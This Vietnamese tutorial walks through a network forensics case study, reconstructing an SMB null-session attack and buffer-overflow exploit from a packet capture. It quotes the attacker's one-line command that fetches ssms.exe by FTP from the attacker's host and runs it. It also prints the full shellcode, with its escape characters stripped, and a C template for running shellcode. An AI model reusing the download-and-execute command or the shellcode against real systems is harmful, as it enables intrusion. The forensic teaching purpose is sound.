Pháp y kỹ thuật số: Phần 3 - Network Forensics (tiếp)

Trong phần này, Quản Trị Mạng sẽ cùng các bạn tiếp tục nghiên cứu Case Study về Network Forensics còn dang dở ở Phần 2. Trong phần này, chúng ta sẽ tìm hiểu sâu hơn về cuộc tấn công của hacker.

6. Mô phỏng lại cuộc tấn công của Hacker

6.1. Quét cổng 445 để xem cổng này có mở không, điều này thể hiện qua các gói tin SYN, SYN/ACK, ACK, FYN liên tục.

Quét cổng 445

6.2. Thiết lập kết nối IPC và request đến dịch vụ lsarpc.

 Thiết lập kết nối IPC và request đến dịch vụ lsarpc

Bạn đọc có thể tìm hiểu thêm về hình thức kết nối IPC$, ở đây hacker đã gửi kết nối với giá trị username và password đều rỗng, còn được biết đến với kiểu tấn công Null Session.

6.3. Khai thác lỗi Buffer Over Flow của hàm DsRoleUpgradeDownlevelServer() thông qua việc truyền shellcode(Frame #33).

Khai thác lỗi Buffer Over Flow của hàm DsRoleUpgradeDownlevelServer()

6.4. Shellcode mở cổng 1957 cho phép backdoor chạy trên đó, hacker qua cổng này truyền command vào(Frame #42).

Shellcode mở cổng 1957 cho phép backdoor chạy trên đó

Lệnh mà hacker thực hiện là:

echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp  -n -s:o &del /F /Q o &ssms.exe

Lệnh này có tác dụng yêu cầu máy nạn nhân kết nối ftp đến cổng 8884 của hacker và download file ssms.exe sau đó thực thi file này. Đến đây việc khai thác coi như hoàn thành.

Mọi người có thể chú ý thêm các frame từ #71 về sau, đây là các đoạn nhận file ssms.exe, file được gửi qua socket thành các mảnh nhỏ và ghép lại sau đó.

Mọi người có thể chú ý thêm các frame từ #71 về sau

7. Truy tìm mã độc

Như vậy là chúng ta đã hình dung được cuộc tấn công xảy ra như thế nào, nhưng một vụ điều tra thì không chỉ có vậy. Phải xác định được mã độc mà hacker sử dụng hoạt động như thế nào, nhưng trước hết cần thu được mẫu này.

Đầu tiên là Shellcode mà hacker đã sử dụng. Chọn Frame #33, trong khung Packet Bytes chọn chế độ Reassembled TCP chúng ta sẽ thấy đầy đủ nội dung mà hacker gửi đến máy nạn nhân.(Khi gửi tin qua TCP thì dữ liệu có thể phân mảnh ở nhiều gói tin khác nhau, Reassembled TCP sẽ giúp chúng ta ghép các mảnh dữ liệu này lại với nhau).

Ghép các mảnh dữ liệu này lại với nhau

Sau khi loại bỏ các lệnh NOPE(mã 90) thì thu được shellcode thực sự mà hacker đã dùng:

xebx10x5ax4ax33xc9x66xb9x7dx01x80x34x0ax99xe2xfaxebx05xe8xebxffxffxffx70x95x98x99x99xc3xfdx38xa9x99x99x99x12xd9x95x12xe9x85x34x12xd9x91x12x41x12xeaxa5x12xedx87xe1x9ax6ax12xe7xb9x9ax62x12xd7x8dxaax74xcfxcexc8x12xa6x9ax62x12x6bxf3x97xc0x6ax3fxedx91xc0xc6x1ax5ex9dxdcx7bx70xc0xc6xc7x12x54x12xdfxbdx9ax5ax48x78x9ax58xaax50xffx12x91x12xdfx85x9ax5ax58x78x9bx9ax58x12x99x9ax5ax12x63x12x6ex1ax5fx97x12x49xf3x9axc0x71x1ex99x99x99x1ax5fx94xcbxcfx66xcex65xc3x12x41xf3x9cxc0x71xedx99x99x99xc9xc9xc9xc9xf3x98xf3x9bx66xcex75x12x41x5ex9ex9bx99x9ex3cxaax59x10xdex9dxf3x89xcexcax66xcex69xf3x98xcax66xcex6dxc9xc9xcax66xcex61x12x49x1ax75xddx12x6dxaax59xf3x89xc0x10x9dx17x7bx62x10xcfxa1x10xcfxa5x10xcfxd9xffx5exdfxb5x98x98x14xdex89xc9xcfxaax50xc8xc8xc8xf3x98xc8xc8x5exdexa5xfaxf4xfdx99x14xdexa5xc9xc8x66xcex79xcbx66xcex65xcax66xcex65xc9x66xcex7dxaax59x35x1cx59xecx60xc8xcbxcfxcax66x4bxc3xc0x32x7bx77xaax59x5ax71x76x67x66x66xdexfcxedxc9xebxf6xfaxd8xfdxfdxebxfcxeaxeax99xdaxebxfcxf8xedxfcxc9xebxf6xfaxfcxeaxeaxd8x99xdcxe1xf0xedxcdxf1xebxfcxf8xfdx99xd5xf6xf8xfdxd5xf0xfbxebxf8xebxe0xd8x99xeexeaxabxc6xaaxabx99xcexcaxd8xcaxf6xfaxf2xfcxedxd8x99xfbxf0xf7xfdx99xf5xf0xeaxedxfcxf7x99xf8xfaxfaxfcxe9xedx99xfaxf5xf6xeaxfcxeaxf6xfaxf2xfcxedx99

Chúng ta tiến hành phục hồi shellcode này bằng cách đưa đoạn shellcode này vào một chương trình test shell như thế này:

#include
#include
 
unsigned char code[] = "";
 
int main()
{
    int (*ret)() = (int(*)())code;
    ret();
}

Với file ssms.exe, như tôi đã trình bày ở phần trước được download về máy nạn nhân thông qua socket và cũng bị phân mảnh trong nhiều gói tin. Gộp file đầy đủ bằng cách sử dụng tính năng Follow TCP Stream của Wireshark:

Gộp file đầy đủ bằng cách sử dụng tính năng Follow TCP Stream của Wireshark

Save As file này ra .exe.

8. Phân tích mã độc

Ở bước trên, chúng ta đã thu được một file shellcode và một file ssms.exe. Việc tiếp theo là phân tích cụ thể xem những file thực thi này làm việc gì trên máy nạn nhân.

Bạn đọc nên đọc thêm lọat bài về Reverse Engineering tđể hiểu rõ về công việc này. Quản Trị Mạng sẽ không phân tích kỹ bước này ở đây, lí do là sẽ vượt xa phạm vi chủ đề Network Forensics. Kết quả kiểm tra ssms.exe trên virustotal cũng không mấy ngạc nhiên khi 48/51 AV nhận diện là virus.

Đến đây cuộc điều tra cũng có thể xem như đi đến hồi kết, chúng ta đã tìm ra được một số thông tin về hacker (mặc dù để tìm ra kẻ tấn công ngoài đời thì cần phụ thuộc cả vào yếu tố pháp luật hơn). Dưới góc độ kỹ thuật thì chúng ta biết được cách hacker tấn công hệ thống như thế nào, biết được hệ thống bị dính những lỗ hổng gì và những nguy cơ tiềm ẩn trong đó để cập nhật bản vá và khắc phục sự cố không tái diễn trong tương lai.

Trong các bài viết sắp tới, chúng ta sẽ tiếp tục tìm hiểu về những mảng khác của Computer Forensics.

Bài viết được Quản Trị Mạng tổng hợp lại từ diễn đàn WhiteHat.vn.

Thứ Ba, 14/06/2022 16:45
51 👨 699
0 Bình luận
Sắp xếp theo
    ❖ Kiến thức cơ bản